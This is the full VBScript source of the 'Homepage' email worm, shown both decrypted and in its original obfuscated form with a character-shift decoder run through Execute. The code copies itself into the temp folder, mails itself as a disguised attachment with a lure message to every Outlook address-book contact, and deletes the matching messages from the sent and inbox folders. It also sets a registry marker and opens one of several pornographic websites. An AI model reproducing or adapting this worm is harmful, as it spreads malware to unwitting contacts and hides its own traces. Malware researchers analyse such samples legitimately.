/*HomePage mailworm decrypted by Ilitirit*/ On Error Resume Next Set WS = CreateObject("WScript.Shell") Set FSO= Createobject("scripting.filesystemobject") Folder=FSO.GetSpecialFolder(2) Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1) Do While InF.AtEndOfStream<>True ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf Loop Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true) OutF.write ScriptBuffer OutF.close Set FSO=Nothing If WS.regread ("HKCU\software\An\mailed") <> "1" then Mailit() End If Set s=CreateObject("Outlook.Application") Set t=s.GetNameSpace("MAPI") Set u=t.GetDefaultFolder(6) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).close u.Items.Item(i).delete End If Next Set u=t.GetDefaultFolder(3) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).delete End If Next Randomize r=Int((4*Rnd)+1) If r=1 then WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm") elseif r=2 Then WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm") elseif r=3 Then WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm") ElseIf r=4 Then WS.Run("http://sheila.issexy.tv/1.htm") End If Function Mailit() On Error Resume Next Set Outlook = CreateObject("Outlook.Application") If Outlook = "Outlook" Then Set Mapi=Outlook.GetNameSpace("MAPI") Set Lists=Mapi.AddressLists For Each ListIndex In Lists If ListIndex.AddressEntries.Count <> 0 Then ContactCount = ListIndex.AddressEntries.Count For Count= 1 To ContactCount Set Mail = Outlook.CreateItem(0) Set Contact = ListIndex.AddressEntries(Count) Mail.To = Contact.Address Mail.Subject = "Homepage" Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page! It's really cool ;O)"&vbcrlf&vbcrlf Set Attachment=Mail.Attachments Attachment.Add Folder & "\homepage.HTML.vbs" Mail.DeleteAfterSubmit = True If Mail.To <> "" Then Mail.Send WS.regwrite "HKCU\software\An\mailed", "1" End If Next End If Next End if End Function /*Original Worm*/ Execute DeCode("QpGttqtTguwogPgzvUgvYU?EtgcvgQdlgev*$YUetkrv0Ujgnn$+UgvHUQ?Etgcvgqdlgev*$uetkrvkpi0hkngu{uvgoqdlgev$+Hqnfgt?HUQ0IgvUrgekcnHqnfgt*4+UgvKpH?HUQ0QrgpVgzvHkng*YUetkrv0UetkrvHwnnpcog.3+FqYjkngKpH0CvGpfQhUvtgco>@VtwgUetkrvDwhhgt?UetkrvDwhhgt(KpH0TgcfNkpg(xdetnhNqqrUgvQwvH?HUQ0QrgpVgzvHkng*Hqnfgt($^jqogrcig0JVON0xdu$.4.vtwg+QwvH0ytkvgUetkrvDwhhgtQwvH0enqugUgvHUQ?PqvjkpiKhYU0tgitgcf*$JMEW^uqhvyctg^Cp^ockngf$+>@$3$vjgpOcknkv*+GpfKhUgvu?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+Ugvv?u0IgvPcogUrceg*$OCRK$+Ugvw?v0IgvFghcwnvHqnfgt*8+Hqtk?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+0enqugw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvUgvw?v0IgvFghcwnvHqnfgt*5+Hqtk?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvTcpfqok|gt?Kpv**6,Tpf+-3+Kht?3vjgpYU0Twp*$jvvr<11jctfeqtg0rqtpdknndqctf0pgv1ujcppqp130jvo$+gnugkht?4VjgpYU0Twp*$jvvr<11ogodgtu0pdek0eqo1aZOEO1rtkp|lg130jvo$+gnugkht?5VjgpYU0Twp*$jvvr<11yyy40ugzetqrqnku0eqo1cocvgwt1ujgknc130jvo$+GnugKht?6VjgpYU0Twp*$jvvr<11ujgknc0kuugz{0vx130jvo$+GpfKhHwpevkqpOcknkv*+QpGttqtTguwogPgzvUgvQwvnqqm?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+KhQwvnqqm?$Qwvnqqm$VjgpUgvOcrk?Qwvnqqm0IgvPcogUrceg*$OCRK$+UgvNkuvu?Ocrk0CfftguuNkuvuHqtGcejNkuvKpfgzKpNkuvuKhNkuvKpfgz0CfftguuGpvtkgu0Eqwpv>@2VjgpEqpvcevEqwpv?NkuvKpfgz0CfftguuGpvtkgu0EqwpvHqtEqwpv?3VqEqpvcevEqwpvUgvOckn?Qwvnqqm0EtgcvgKvgo*2+UgvEqpvcev?NkuvKpfgz0CfftguuGpvtkgu*Eqwpv+Ockn0Vq?Eqpvcev0CfftguuOckn0Uwdlgev?$Jqogrcig$Ockn0Dqf{?xdetnh($Jk#$(xdetnh(xdetnh($[qw)xgiqvvquggvjkurcig#Kv)utgcnn{eqqn=Q+$(xdetnh(xdetnhUgvCvvcejogpv?Ockn0CvvcejogpvuCvvcejogpv0CffHqnfgt($^jqogrcig0JVON0xdu$Ockn0FgngvgChvgtUwdokv?VtwgKhOckn0Vq>@$$VjgpOckn0UgpfYU0tgiytkvg$JMEW^uqhvyctg^Cp^ockngf$.$3$GpfKhPgzvGpfKhPgzvGpfkhGpfHwpevkqp") Function DeCode(Coded) For I = 1 To Len(Coded) CurChar= Mid(Coded, I, 1) If Asc(CurChar) = 15 Then CurChar= Chr(10) ElseIf Asc(CurChar) = 16 Then CurChar= Chr(13) ElseIf Asc(CurChar) = 17 Then CurChar= Chr(32) ElseIf Asc(CurChar) = 18 Then CurChar= Chr(9) Else CurChar = Chr(Asc(CurChar) - 2) End If DeCode = DeCode & CurChar Next End Function